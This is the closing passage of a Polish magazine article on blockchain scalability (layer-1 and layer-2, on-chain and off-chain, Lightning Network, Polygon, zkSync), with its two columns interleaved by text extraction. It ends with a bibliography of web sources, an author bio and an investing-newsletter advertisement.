Takimi rozwiązaniami są np. Lightning Network, Polygon czy też lepszym kierunku. W kolejnym artykule zostanie wyjaśnione m.in,
zkSync. czym jest sharding i czym różni się od sidechainów, jak to możliwe,
Mówiąc o skalowalności, można spotkać się też z podziałem na że transakcja na Bitcoinie (ale nie tylko) może być prawie darmowa,
tzw. rozwiązania on-chain i off-chain, gdzie pierwsze z nich odnoszą oraz dlaczego dowód z wiedzą zerową (ang. Zero Knowledge Proof) to
się do L1, natomiast drugie do L2. On-chain oznacza, że rozwiązanie nie do końca dowód.

Bibliografia
[1] https://chaindebrief.com/cryptocurrency-adoption-curve-is-the-fastest-in-human-history/
[2] https://ourworldindata.org/internet
[3] https://glassnode.com/
[4] https://studio.glassnode.com/metrics?a=BTC&m=addresses.ActiveCount&resolution=1month
[5] https://studio.glassnode.com/metrics?a=ETH&m=addresses.ActiveCount&resolution=1month
[6] https://ipfs.io/
[7] https://bitinfocharts.com/pl/comparison/bitcoin-transactionfees.html#alltime
[8] https://www.blockchain.com/charts/mempool-count
[9] https://etherscan.io/chart/pendingtx
[10] https://txstreet.com/v/eth-btc
[11] https://utilli.com/2021/04/26/the-lightning-network-is-poised-to-disrupt-utility-payments/
[12] https://www.visa.co.uk/dam/VCOM/download/corporate/media/visanet-technology/aboutvisafactsheet.pdf
[13] https://phemex.com/blogs/what-is-transactions-per-second-tps
[14] https://www.bnbchain.world/en/blog/the-journey-so-far-focus-on-scaling/
[15] https://www.gemini.com/cryptopedia/solana-blockchain#section-a-new-blockchain-architecture-proof-of-stake-and-proof-of-history
[16] https://etherscan.io/chart/blocksize
[17] https://ethereum.github.io/yellowpaper/paper.pdf
[18] https://ethereum.org/en/developers/docs/blocks/
[19] https://beaconcha.in/charts
[20] https://www.ethernodes.org/history

PRZEMYSŁAW TREPKA
zblockowani@gmail.com
Pasjonat technologii blockchain oraz rynku kryptowalut. Obecnie pracuje jako Blockchain Developer w ValueLogic.

<82> { 2 / 2022 < 101 > }


JUŻ CHYBA NAJWYŻSZY CZAS
PORZĄDNIE ZAJĄĆ SIĘ TEMATEM
SWOJEJ FINANSOWEJ PRZYSZŁOŚCI,
NIE SĄDZISZ?

dołącz do mailingu ATLASPASYWNEGOINWESTORA.PL →

You might also like